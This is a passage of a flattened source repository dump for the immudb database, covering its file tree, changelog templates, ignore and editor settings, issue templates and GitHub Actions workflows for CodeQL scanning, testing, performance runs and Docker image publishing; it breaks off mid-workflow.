login_test.go │ │ ├── testall.sh │ │ └── utils.go │ ├── e2e/ │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── replication/ │ │ │ ├── replic.sh │ │ │ └── run.sh │ │ ├── requirements.txt │ │ ├── runtests.py │ │ ├── runtests.sh │ │ └── t0.patch │ ├── immudb.toml │ ├── mtls_certs/ │ │ ├── ca-chain.cert.pem │ │ ├── ca.cert.pem │ │ └── ca.key.pem │ ├── performance-test-suite/ │ │ ├── README.md │ │ ├── cmd/ │ │ │ └── perf-test/ │ │ │ └── main.go │ │ └── pkg/ │ │ ├── benchmarks/ │ │ │ ├── benchmark.go │ │ │ ├── format.go │ │ │ ├── format_test.go │ │ │ ├── hwstats.go │ │ │ ├── hwstats_test.go │ │ │ ├── keytracker.go │ │ │ ├── keytracker_test.go │ │ │ ├── rand.go │ │ │ ├── rand_test.go │ │ │ └── writetxs/ │ │ │ └── benchmark.go │ │ └── runner/ │ │ ├── benchmarks.go │ │ ├── influxdb_client.go │ │ ├── processinfo.go │ │ ├── results.go │ │ ├── runner.go │ │ └── systeminfo.go │ ├── release_perf_test/ │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── Dockerfile-141 │ │ ├── Dockerfile.tools │ │ ├── README.md │ │ ├── docker-compose.yaml │ │ ├── doctest.sh │ │ ├── quickie.sh │ │ ├── runme.sh │ │ └── startup.sh │ ├── signer/ │ │ ├── ec1.key │ │ ├── ec1.pub │ │ ├── ec3.key │ │ ├── ec3.pub │ │ └── unparsable.key │ └── txscan/ │ └── txscan.go ├── tools/ │ ├── autotest/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── adminlogin.expect │ │ ├── adminlogin1.expect │ │ ├── autotest.sh │ │ ├── envpasswd.sh │ │ └── login.expect │ ├── bitflip.py │ ├── comparison/ │ │ ├── mongodb/ │ │ │ ├── Dockerfile │ │ │ ├── load.js │ │ │ └── run.sh │ │ └── scylladb/ │ │ ├── Dockerfile │ │ ├── bench.py │ │ ├── run.sh │ │ └── schema │ ├── long_running/ │ │ └── stress_tool_worker_pool.go │ ├── monitoring/ │ │ └── grafana-dashboard.json │ ├── mtls/ │ │ ├── .gitignore │ │ ├── generate.sh │ │ ├── intermediate_openssl.cnf │ │ └── openssl.cnf │ ├── packaging/ │ │ ├── conf/ │ │ │ └── nfpm.yaml │ │ └── deb/ │ │ ├── control/ │ │ │ └── postinst │ │ ├── default/ │ │ │ ├── immuclient.ini.dist │ │ │ ├── immudb │ │ │ ├── immudb.ini.dist │ │ │ ├── immugw │ │ │ └── immugw.ini.dist │ │ ├── init.d/ │ │ │ ├── immudb │ │ │ └── immugw │ │ ├── man/ │ │ │ ├── immuclient.1 │ │ │ ├── immudb.1 │ │ │ └── immugw.1 │ │ └── systemd/ │ │ ├── immudb.service │ │ └── immugw.service │ ├── rndpass/ │ │ └── startup.sh │ └── testing/ │ ├── stress_tool_sql.go │ └── stress_tool_test_kv/ │ ├── README.md │ └── stress_tool_kv.go ├── tools.go └── webconsole/ ├── .gitignore ├── default/ │ └── missing/ │ └── index.html ├── webconsole.go ├── webconsole_default.go ├── webconsole_default_test.go └── webconsole_test.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .chglog/CHANGELOG.tpl.md ================================================ # CHANGELOG All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). {{ if .Versions -}} ## [Unreleased] {{ if .Unreleased.CommitGroups -}} {{ range .Unreleased.CommitGroups -}} ### {{ .Title }} {{ range .Commits -}} - {{ if .Scope }}**{{ .Scope }}:** {{ end }}{{ .Subject }} {{ end }} {{ end -}} {{ end -}} {{ end -}} {{ range .Versions }} ## {{ if .Tag.Previous }}[{{ .Tag.Name }}]{{ else }}{{ .Tag.Name }}{{ end }} - {{ datetime "2006-01-02" .Tag.Date }} {{ range .CommitGroups -}} ### {{ .Title }} {{ range .Commits -}} - {{ if .Scope }}**{{ .Scope }}:** {{ end }}{{ .Subject }} {{ end }} {{ end -}} {{- if .RevertCommits -}} ### Reverts {{ range .RevertCommits -}} - {{ .Revert.Header }} {{ end }} {{ end -}} {{- if .NoteGroups -}} {{ range .NoteGroups -}} ### {{ .Title }} {{ range .Notes }} {{ .Body }} {{ end }} {{ end -}} {{ end -}} {{ end -}} {{- if .Versions }} [Unreleased]: {{ .Info.RepositoryURL }}/compare/{{ $latest := index .Versions 0 }}{{ $latest.Tag.Name }}...HEAD {{ range .Versions -}} {{ if .Tag.Previous -}} [{{ .Tag.Name }}]: {{ $.Info.RepositoryURL }}/compare/{{ .Tag.Previous.Name }}...{{ .Tag.Name }} {{ end -}} {{ end -}} {{ end -}} ================================================ FILE: .chglog/config.yml ================================================ style: github template: CHANGELOG.tpl.md info: title: CHANGELOG repository_url: https://github.com/vchain-us/immudb options: commits: filters: Type: - feat - fix - perf - refactor - chore commit_groups: title_maps: feat: Features fix: Bug Fixes perf: Performance Improvements refactor: Code Refactoring chore: Changes header: pattern: "^(\\w*)(?:\\(([\\w\\$\\.\\-\\*\\s\\/]*)\\))?\\:\\s(.*)$" pattern_maps: - Type - Scope - Subject notes: keywords: - BREAKING CHANGE ================================================ FILE: .codeclimate.yml ================================================ exclude_patterns: - "pkg/api/schema/schema.pb.go" - "pkg/api/schema/schema.pb.gw.go" ================================================ FILE: .dockerignore ================================================ # Compiled binaries /bm dist # Immudb data /data* # Vendor vendor # Unuseful stuff *.iml *.swp .idea/ .gitignore build resources /immudata /Dockerfile* pkg/integration/replication webconsole/dist # Allow FIPS build checker !build/fips/check-fips.sh ================================================ FILE: .editorconfig ================================================ root = true [*] end_of_line = lf indent_size = 4 indent_style = tab insert_final_newline = true trim_trailing_whitespace = true charset = utf-8 [*.{md, yml}] indent_size = 2 indent_style = space ================================================ FILE: .github/ACTIONS_SECRETS.md ================================================ # Github actions secrets ## PERF_TEST_RUNS_ON This secret can be used to change the `runs-on` field for performance test suite. Example value (keep it a single-line): ```json {"targets":[{"name": "b1", "runs-on":["self-hosted", "b1"]}, {"name": "b2", "runs-on":["self-hosted", "b2"]}]} ``` ### PERF_TEST_AWS_xxx If set, performance test results are uploaded into s3 after successful push workflow. Following secrets are needed: * `PERF_TEST_AWS_ACCESS_KEY_ID` * `PERF_TEST_AWS_BUCKET_PREFIX` (i.e. `` or `/some/prefix`) * `PERF_TEST_AWS_REGION` * `PERF_TEST_AWS_SECRET_ACCESS_KEY` ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: '' labels: bug assignees: '' --- **What happened** **What you expected to happen** **How to reproduce it (as minimally and precisely as possible)** **Environment** ```shell # run "immu* version" and copy/paste the output here ``` **Additional info (any other context about the problem)** ================================================ FILE: .github/ISSUE_TEMPLATE/feature-request.md ================================================ --- name: Feature request about: Suggest an idea for this project title: '' labels: enhancement assignees: '' --- **What would you like to be added or enhanced** **Why is this needed** **Additional context** ================================================ FILE: .github/dependabot.yaml ================================================ version: 2 updates: - package-ecosystem: "gomod" directory: "/" schedule: interval: "daily" - package-ecosystem: "github-actions" directory: "/" schedule: interval: "daily" - package-ecosystem: "docker" directory: "/" schedule: interval: "daily" ================================================ FILE: .github/workflows/codeql.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ "master", "*", "develop" ] pull_request: branches: [ "master", "*", "develop" ] schedule: - cron: '39 20 * * 0' jobs: analyze: name: Analyze (${{ matrix.language }}) # Runner size impacts CodeQL analysis time. To learn more, please see: # - https://gh.io/recommended-hardware-resources-for-running-codeql # - https://gh.io/supported-runners-and-hardware-resources # - https://gh.io/using-larger-runners (GitHub.com only) # Consider using larger runners or machines with greater resources for possible analysis time improvements. runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} permissions: # required for all workflows security-events: write # required to fetch internal or private CodeQL packs packages: read # only required for workflows in private repositories actions: read contents: read strategy: fail-fast: false matrix: include: - language: go build-mode: autobuild - language: javascript-typescript build-mode: none - language: python build-mode: none # CodeQL supports the following values keywords for 'language': 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' # Use `c-cpp` to analyze code written in C, C++ or both # Use 'java-kotlin' to analyze code written in Java, Kotlin or both # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis, # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning. # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages steps: - name: Checkout repository uses: actions/checkout@v4 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v4 with: languages: ${{ matrix.language }} build-mode: ${{ matrix.build-mode }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs # queries: security-extended,security-and-quality # If the analyze step fails for one of the languages you are analyzing with # "We were unable to automatically build your code", modify the matrix above # to set the build mode to "manual" for that language. Then modify this step # to build your code. # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun - if: matrix.build-mode == 'manual' run: | echo 'If you are using a "manual" build mode for one or more of the' \ 'languages you are analyzing, replace this with the commands to build' \ 'your code, for example:' echo ' make bootstrap' echo ' make release' exit 1 - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v4 with: category: "/language:${{matrix.language}}" ================================================ FILE: .github/workflows/performance.yml ================================================ name: Performance tests on: workflow_dispatch: workflow_call: schedule: - cron: '0 0 * * *' jobs: performance-test-suite-detect-runners: runs-on: ubuntu-latest outputs: matrix: ${{ steps.detect-runners.outputs.matrix }} env: PERF_TEST_RUNS_ON: ${{ secrets.PERF_TEST_RUNS_ON }} PERF_TEST_RUNS_ON_DEFAULT: | { "targets": [ { "name": "github-ubuntu-latest", "runs-on": "ubuntu-latest" } ] } steps: - id: detect-runners run: | RES="$(echo "${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}" | jq -c '.targets')" echo "Detected targets:" echo "$RES" | jq . echo "matrix=${RES}" >> $GITHUB_OUTPUT performance-test-suite: name: Performance Test Suite (${{ matrix.target.name }}) needs: - performance-test-suite-detect-runners strategy: matrix: target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }} runs-on: ${{ matrix.target.runs-on }} env: ARG_DURATION: "${{ startsWith(github.ref, 'refs/tags/v') && '-d 2m' || '' }}" INFLUX_HOST: ${{ secrets.INFLUX_HOST }} INFLUX_TOKEN: ${{ secrets.INFLUX_TOKEN }} steps: - uses: actions/checkout@v4 - uses: actions/setup-go@v6 with: go-version-file: 'go.mod' - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - name: Run performance tests id: performance run: | echo "version=$(cat Makefile | grep '\> $GITHUB_ENV SECONDS=0 ./perf-test-suite $ARG_DURATION -workdir /var/tmp -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\ perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json env: GOMEMLIMIT: 7680MiB - name: Upload test results uses: actions/upload-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) path: perf-test-results.json retention-days: 30 - name: Create the Mattermost message if: github.event.schedule == '0 0 * * *' run: > echo "{\"text\":\"### Performance tests results for scheduled daily run on ${{ github.ref_name }} branch and ${{ matrix.target.name }} runner\n **Result**: ${{ steps.performance.outcome }}\n **Duration**: ${{ env.duration }}s | **immudb version**: ${{ env.version }}\n $(jq -r '.benchmarks[] | .name + "\n" + .summary' perf-test-results.json) \n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** \"}" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' PAYLOAD: ${{ env.MM_PAYLOAD }} performance-test-suite-upload-s3: if: github.event.schedule != '0 0 * * *' needs: - performance-test-suite - performance-test-suite-detect-runners runs-on: ubuntu-latest strategy: matrix: target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }} env: PERF_TEST_AWS_REGION: ${{ secrets.PERF_TEST_AWS_REGION }} steps: - uses: actions/checkout@v4 - name: Download test results if: "${{ env.PERF_TEST_AWS_REGION }}" uses: actions/download-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) - name: Configure AWS credentials if: "${{ env.PERF_TEST_AWS_REGION }}" uses: aws-actions/configure-aws-credentials@v2 with: aws-access-key-id: "${{ secrets.PERF_TEST_AWS_ACCESS_KEY_ID }}" aws-secret-access-key: "${{ secrets.PERF_TEST_AWS_SECRET_ACCESS_KEY }}" aws-region: "${{ secrets.PERF_TEST_AWS_REGION }}" - name: Upload perf results to S3 if: "${{ env.PERF_TEST_AWS_REGION }}" run: | GIT_COMMIT_NAME="$(git show -s --format=%cd --date="format:%Y-%m-%d--%H-%I-%S")--$(git rev-parse HEAD)" aws s3 cp \ perf-test-results.json \ "s3://${{ secrets.PERF_TEST_AWS_BUCKET_PREFIX }}/${{ github.ref_name }}/${GIT_COMMIT_NAME}/${{ matrix.target.name }}.json" ================================================ FILE: .github/workflows/pull.yml ================================================ name: pullCI on: [pull_request] jobs: build: name: build-and-test strategy: matrix: include: - os: ubuntu-latest go: "1.24" - os: ubuntu-latest go: "1.24" testWithMinio: true - os: ubuntu-latest go: "1.24" testWithFips: true - os: ubuntu-latest go: "1.24" test: true - os: windows-latest go: "1.24" testClientOnly: true noWebconsole: true - os: macos-latest go: "1.24" testClientOnly: true runs-on: ${{ matrix.os }} steps: - uses: actions/setup-go@v6 with: go-version: ${{ matrix.go }} - uses: actions/checkout@v4 - name: Test run: make test if: matrix.test - name: Test (with minio) run: | # Spawn minio docker container in the background docker run -d -t -p 9000:9000 --name minio \ -e "MINIO_ACCESS_KEY=minioadmin" \ -e "MINIO_SECRET_KEY=minioadmin" \ minio/minio server /data # Create immudb bucket docker run --net=host -t --entrypoint /bin/sh minio/mc -c " mc alias set local http://localhost:9000 minioadmin minioadmin && mc mb local/immudb " # Run go tests with minio GO_TEST_FLAGS="-tags minio" make test # Stop minio docker rm -f minio if: matrix.testWithMinio - name: Test (with fips build) run: | make test/fips if: matrix.testWithFips - name: Test Client run: make test-client if: matrix.testClientOnly shell: bash - name: Build with webconsole run: | sudo apt update && sudo apt install curl -y WEBCONSOLE=default SWAGGER=true make all if: "!matrix.noWebconsole" - name: Build without webconsole run: make all if: matrix.noWebconsole - name: Make binaries executable run: chmod +x immudb immuclient immuadmin if: runner.os != 'Windows' - name: Testing immudb operations run: | IMMUCLIENT=./immuclient* IMMUADMIN=./immuadmin* IMMUDB=./immudb* # Run immuclient before a server starts, make sure it fails set -euxo pipefail ${IMMUCLIENT} || echo "Test #1 OK - immuclient failed to connect (no server started)" ${IMMUDB} -d sleep 5 ${IMMUCLIENT} login --username immudb --password immudb || { echo "Test #2 Login (Default credentials) Failed"; exit 1; } echo -n "immudb" | ${IMMUCLIENT} login --username immudb || { echo "Test #3 Login (Default credentials from stdin) Failed"; exit 1; } ${IMMUCLIENT} safeset test3 githubaction || { echo "Test #4 Failed to safeset simple values"; exit 1; } sg=$(${IMMUCLIENT} safeget test3) grep -q "githubaction" <<< $sg || { echo "Test #5 Failed safeget responded with $sg"; exit 1; } grep -q "verified" <<< $sg || { echo "Test #6 Failed safeset didn't get verified"; exit 1; } grep -q "true" <<< $sg || { echo "Test #7 Failed safeset didn't get verified"; exit 1; } shell: bash - name: Testing immudb webconsole if: "!matrix.noWebconsole" run: | # Find immudb webconsole webconsole_page=$(curl -s localhost:8080) || { echo "Test #8 web console unreachable"; exit 1; } grep -q "immudb webconsole" <<< $webconsole_page || { echo "Test #9 Failed, web console reachable but title not found"; exit 1; } gosec: name: Run Gosec Security Scanner runs-on: ubuntu-latest steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - uses: securego/gosec@v2.17.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... coveralls: name: Coverage runs-on: ubuntu-latest steps: - uses: actions/setup-go@v6 with: go-version: "1.24" - uses: actions/checkout@v4 - run: | # Spawn minio docker container in the background docker run -d -t -p 9000:9000 --name minio \ -e "MINIO_ACCESS_KEY=minioadmin" \ -e "MINIO_SECRET_KEY=minioadmin" \ minio/minio server /data # Create immudb bucket docker run --net=host -t --entrypoint /bin/sh minio/mc -c " mc alias set local http://localhost:9000 minioadmin minioadmin && mc mb local/immudb " export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci # Stop minio docker rm -f minio env: COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} sonarsource: name: Coverage runs-on: ubuntu-latest if: github.event.pull_request.head.repo.full_name == github.repository steps: - uses: actions/checkout@v4 - name: Analyze with SonarCloud uses: SonarSource/sonarqube-scan-action@v7 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} performance-test-suite-detect-runners: runs-on: ubuntu-latest outputs: matrix: ${{ steps.detect-runners.outputs.matrix }} env: PERF_TEST_RUNS_ON: ${{ secrets.PERF_TEST_RUNS_ON }} PERF_TEST_RUNS_ON_DEFAULT: | { "targets": [ { "name": "github-ubuntu-latest", "runs-on": "ubuntu-latest" } ] } steps: - id: detect-runners run: | RES="$(echo "${PERF_TEST_RUNS_ON:-${PERF_TEST_RUNS_ON_DEFAULT}}" | jq -c '.targets')" echo "Detected targets:" echo "$RES" | jq . echo "matrix=${RES}" >> $GITHUB_OUTPUT performance-test-suite: needs: performance-test-suite-detect-runners strategy: matrix: target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }} name: Performance Test Suite (${{ matrix.target.name }}) runs-on: ${{ matrix.target.runs-on }} steps: - uses: actions/setup-go@v6 with: go-version: "1.24" - uses: actions/checkout@v4 - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - run: ./perf-test-suite > perf-test-results.json - name: Upload test results uses: actions/upload-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) path: perf-test-results.json ================================================ FILE: .github/workflows/push-dev.yml ================================================ name: build-push-dev env: GO_VERSION: "1.24" MIN_SUPPORTED_GO_VERSION: "1.24" on: push: branches: - feat/objects jobs: build: name: build and push runs-on: ubuntu-latest steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - run: | GITTAG=$(git rev-parse HEAD | head -c 8) docker build -t ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG . docker image tag ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest ================================================ FILE: .github/workflows/push.yml ================================================ name: pushCI env: GO_VERSION: "1.24" MIN_SUPPORTED_GO_VERSION: "1.24" on: push: branches: - master - release/v* tags: - 'v*' jobs: old-go: name: Ensure immudb compiles with the oldest supported go version runs-on: ubuntu-latest steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.MIN_SUPPORTED_GO_VERSION }} - uses: actions/checkout@v4 - run: make all gosec: runs-on: ubuntu-latest env: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - name: Run Gosec Security Scanner uses: securego/gosec@v2.17.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... binaries: name: Build binaries and notarize sources needs: - gosec - old-go runs-on: ubuntu-latest env: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} outputs: matrix: ${{ steps.list-binaries.outputs.matrix }} steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - name: Build binaries run: WEBCONSOLE=default SWAGGER=true make dist - id: list-binaries run: | echo "matrix=$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" >> $GITHUB_OUTPUT - name: Upload binary artifacts uses: actions/upload-artifact@v4 with: name: immudb-binaries path: dist retention-days: 5 - name: Calculate checksums run: make dist/binary.md binaries-quick-test: name: Quick test of compiled binaries needs: binaries strategy: matrix: include: - os: windows-latest selector: '*-windows-amd64.exe' - os: ubuntu-latest selector: '*-linux-amd64' - os: ubuntu-latest selector: '*-linux-amd64-static' - os: ubuntu-latest selector: '*-linux-amd64-fips' - os: macos-latest selector: '*-darwin-amd64' - os: ubuntu-latest selector: '*-linux-arm64' qemu-binfmt: true - os: ubuntu-latest selector: '*-linux-s390x' qemu-binfmt: true runs-on: ${{ matrix.os }} steps: - uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist - name: List matching binaries shell: bash run: ls -all dist/${{ matrix.selector }} - name: Make binaries executable run: chmod +x dist/${{ matrix.selector }} shell: bash if: runner.os != 'Windows' - name: Install qemu binaries uses: docker/setup-qemu-action@v2 if: matrix.qemu-binfmt - name: Run immudb in the background shell: bash run: | IMMUDB=dist/immudb-${{ matrix.selector }} $IMMUDB -d - name: immuadmin test shell: bash run: | IMMUADMIN=dist/immuadmin-${{ matrix.selector }} echo -n "immudb" | $IMMUADMIN login immudb || true $IMMUADMIN database create test $IMMUADMIN database list $IMMUADMIN database unload test $IMMUADMIN database load test - name: immuclient test shell: bash continue-on-error: ${{ matrix.continue-on-error || false }} run: | IMMUCLIENT=dist/immuclient-${{ matrix.selector }} $IMMUCLIENT login --username immudb --password immudb echo -n "immudb" | $IMMUCLIENT login --username immudb $IMMUCLIENT use test $IMMUCLIENT safeset test3 githubaction sg=$($IMMUCLIENT safeget test3) grep -q "githubaction" <<< $sg grep -q "verified" <<< $sg grep -q "true" <<< $sg stress-tests: name: Run KV stress tests needs: binaries runs-on: ubuntu-latest steps: - name: Download binary artifacts uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist - name: Make binaries executable run: chmod +x dist/*linux-amd64 - name: Run immudb in the background run: dist/immudb-*-linux-amd64 -d - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - name: Run KV stress test run: | go run ./tools/testing/stress_tool_test_kv/ \ -mix-read-writes \ -randomize-key-length \ -total-entries-written 300000 \ -total-entries-read 10000 # This job is needed because currently it's not possible to pass an environment variable # to the called workflow on job performance-tests. # Reference: https://docs.github.com/en/actions/using-workflows/reusing-workflows#limitations go-version: name: Extract Go version runs-on: ubuntu-latest outputs: go-version: ${{ steps.extraction.outputs.go_version }} steps: - id: extraction run: echo "go_version=$GO_VERSION" >> $GITHUB_OUTPUT performance-tests: name: Performance tests needs: - gosec - old-go - go-version uses: ./.github/workflows/performance.yml secrets: inherit with: go-version: "1.24" notarize-binaries: name: Notarize binaries needs: - binaries - binaries-quick-test - stress-tests runs-on: ubuntu-latest strategy: matrix: ${{fromJson(needs.binaries.outputs.matrix)}} env: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} steps: - name: Download binary artifacts uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist images: name: Build and notarize Docker Images needs: - binaries - binaries-quick-test - stress-tests runs-on: ubuntu-latest env: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} DOCKER_IMAGE_IMMUDB: "${{ vars.DOCKER_HUB_USER }}/immudb" DOCKER_IMAGE_IMMUDB_FIPS: "${{ vars.DOCKER_HUB_USER }}/immudb-fips" DOCKER_IMAGE_IMMUADMIN: "${{ vars.DOCKER_HUB_USER }}/immuadmin" DOCKER_IMAGE_IMMUADMIN_FIPS: "${{ vars.DOCKER_HUB_USER }}/immuadmin-fips" DOCKER_IMAGE_IMMUCLIENT: "${{ vars.DOCKER_HUB_USER }}/immuclient" DOCKER_IMAGE_IMMUCLIENT_FIPS: "${{ vars.DOCKER_HUB_USER }}/immuclient-fips" DOCKER_BUILDKIT: "1" DEBIAN_VERSION: bullseye-slim ALMA_VERSION: almalinux-8-minimal steps: - uses: actions/checkout@v4 - name: Build docker images shell: bash run: | if [[ "${GITHUB_REF}" =~ ^refs/tags/v([0-9]+)\.([A-Z0-9]+)\.([0-9]+)$ ]]; then VERSION_TAG="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}.${BASH_REMATCH[3]}" VERSION_TAG_SHORT="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}" fi docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev" --target scratch -f build/Dockerfile . docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}" --target ${DEBIAN_VERSION} -f build/Dockerfile . docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}" -f build/Dockerfile.alma . docker build --tag "${DOCKER_IMAGE_IMMUADMIN}:dev" -f build/Dockerfile.immuadmin . docker build --tag "${DOCKER_IMAGE_IMMUCLIENT}:dev" -f build/Dockerfile.immuclient . docker build --tag "${DOCKER_IMAGE_IMMUDB_FIPS}:dev" -f build/fips/Dockerfile . docker build --tag "${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev" -f build/fips/Dockerfile.immuadmin . docker build --tag "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev" -f build/fips/Dockerfile.immuclient . docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" docker push "${DOCKER_IMAGE_IMMUDB}:dev" docker push "${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}" docker push "${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}" docker push "${DOCKER_IMAGE_IMMUADMIN}:dev" docker push "${DOCKER_IMAGE_IMMUCLIENT}:dev" docker push "${DOCKER_IMAGE_IMMUDB_FIPS}:dev" docker push "${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev" docker push "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev" if [[ ! -z "$VERSION_TAG" ]]; then for tag in "${VERSION_TAG}" "${VERSION_TAG_SHORT}" "latest"; do docker tag "${DOCKER_IMAGE_IMMUDB}:dev" "${DOCKER_IMAGE_IMMUDB}:${tag}" docker push "${DOCKER_IMAGE_IMMUDB}:${tag}" docker tag "${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}" "${DOCKER_IMAGE_IMMUDB}:${tag}-${DEBIAN_VERSION}" docker push "${DOCKER_IMAGE_IMMUDB}:${tag}-${DEBIAN_VERSION}" docker tag "${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}" "${DOCKER_IMAGE_IMMUDB}:${tag}-${ALMA_VERSION}" docker push "${DOCKER_IMAGE_IMMUDB}:${tag}-${ALMA_VERSION}" docker tag "${DOCKER_IMAGE_IMMUADMIN}:dev" "${DOCKER_IMAGE_IMMUADMIN}:${tag}" docker push "${DOCKER_IMAGE_IMMUADMIN}:${tag}" docker tag "${DOCKER_IMAGE_IMMUCLIENT}:dev" "${DOCKER_IMAGE_IMMUCLIENT}:${tag}" docker push "${DOCKER_IMAGE_IMMUCLIENT}:${tag}" docker tag "${DOCKER_IMAGE_IMMUDB_FIPS}:dev" "${DOCKER_IMAGE_IMMUDB_FIPS}:${tag}" docker push "${DOCKER_IMAGE_IMMUDB_FIPS}:${tag}" docker tag "${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev" "${DOCKER_IMAGE_IMMUADMIN_FIPS}:${tag}" docker push "${DOCKER_IMAGE_IMMUADMIN_FIPS}:${tag}" docker tag "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev" "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:${tag}" docker push "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:${tag}" done fi docker logout coveralls: name: Publish coverage needs: - gosec - old-go runs-on: ubuntu-latest steps: - uses: actions/setup-go@v6 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v4 - run: | # Spawn minio docker container in the background docker run 